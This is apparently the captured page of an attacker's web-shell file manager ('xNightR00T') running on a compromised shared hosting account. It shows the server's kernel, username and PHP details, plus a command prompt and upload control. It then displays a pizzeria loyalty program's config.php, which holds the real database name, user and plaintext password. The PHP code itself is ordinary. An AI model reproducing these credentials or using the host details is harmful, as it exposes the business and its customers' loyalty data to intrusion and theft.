xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
HEX
HEX
Server: LiteSpeed
System: Linux server701.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: artiksbn (3537)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //home/artiksbn/fidelity.artigianodellapizza.com/config.php
<?php
// config.php - Database and app configuration
// Place this file outside public_html for security

// Database configuration
define('DB_HOST', 'localhost');
define('DB_NAME', 'artiksbn_loyality'); // artiksbn_loyalty
define('DB_USER', 'artiksbn_fid348'); // root. artiksbn_fid348
define('DB_PASS', 'ePD[T(Tf9eaG'); // admin, ePD[T(Tf9eaG'
define('DB_CHARSET', 'utf8mb4');

// App configuration
define('POINTS_FOR_FREE_PIZZA', 12);
define('ADMIN_SESSION_TIMEOUT', 3600); // 1 hour
define('APP_NAME', 'Artigiano della Pizza');

// Timezone configuration - Everything in Paris timezone for consistency
define('APP_TIMEZONE', 'Europe/Paris'); // Both storage and display in Paris timezone

// Security
define('CSRF_TOKEN_NAME', 'csrf_token');
session_start();

// Set the default timezone for the application to Paris
// This ensures consistency throughout the application
date_default_timezone_set(APP_TIMEZONE);

// Database connection
function getDB() {
    static $pdo = null;
    
    if ($pdo === null) {
        try {
            $dsn = "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=" . DB_CHARSET;
            $pdo = new PDO($dsn, DB_USER, DB_PASS, [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false
            ]);
            
            // Set MySQL timezone to Paris offset (+01:00 or +02:00 depending on DST)
            // Use offset instead of named timezone to avoid MySQL timezone table issues
            $parisOffset = date('P'); // Gets current offset like +01:00 or +02:00
            $pdo->exec("SET time_zone = '{$parisOffset}'");
        } catch (PDOException $e) {
            die("Database connection failed: " . $e->getMessage());
        }
    }
    
    return $pdo;
}

// Get current Paris datetime for database operations
function getCurrentParisDateTime() {
    return new DateTime('now', new DateTimeZone(APP_TIMEZONE));
}

// Get current Paris datetime string for database insertion
function getCurrentParisDateTimeString() {
    return getCurrentParisDateTime()->format('Y-m-d H:i:s');
}

// Format datetime for display (already in Paris timezone)
function formatDisplayDateTime($parisDateTime, $format = 'Y-m-d H:i:s') {
    if (!$parisDateTime) return '';
    
    try {
        if (is_string($parisDateTime)) {
            $dateTime = new DateTime($parisDateTime, new DateTimeZone(APP_TIMEZONE));
            return $dateTime->format($format);
        }
        return $parisDateTime->format($format);
    } catch (Exception $e) {
        return '';
    }
}

// Format datetime for user-friendly display
function formatUserDateTime($parisDateTime, $format = 'd/m/Y H:i') {
    return formatDisplayDateTime($parisDateTime, $format);
}

// Parse user input date to Paris timezone
function parseUserDate($dateString) {
    if (!$dateString) return null;
    
    try {
        return new DateTime($dateString, new DateTimeZone(APP_TIMEZONE));
    } catch (Exception $e) {
        return null;
    }
}

// Generate CSRF token
function generateCSRFToken() {
    if (!isset($_SESSION[CSRF_TOKEN_NAME])) {
        $_SESSION[CSRF_TOKEN_NAME] = bin2hex(random_bytes(32));
    }
    return $_SESSION[CSRF_TOKEN_NAME];
}

// Verify CSRF token
function verifyCSRFToken($token) {
    return isset($_SESSION[CSRF_TOKEN_NAME]) && hash_equals($_SESSION[CSRF_TOKEN_NAME], $token);
}

// Sanitize input
function sanitize($input) {
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}

// Validate phone number (French format)
function validatePhoneNumber($phone) {
    $phone = preg_replace('/[^0-9]/', '', $phone);
    return preg_match('/^0[1-9][0-9]{8}$/', $phone) ? $phone : false;
}

// Get date range for reports (Paris timezone)
function getDateRange($startDate = null, $endDate = null) {
    $start = $startDate ? parseUserDate($startDate . ' 00:00:00') : null;
    $end = $endDate ? parseUserDate($endDate . ' 23:59:59') : null;
    
    return [
        'start' => $start,
        'end' => $end,
        'start_string' => $start ? $start->format('Y-m-d H:i:s') : null,
        'end_string' => $end ? $end->format('Y-m-d H:i:s') : null
    ];
}
?>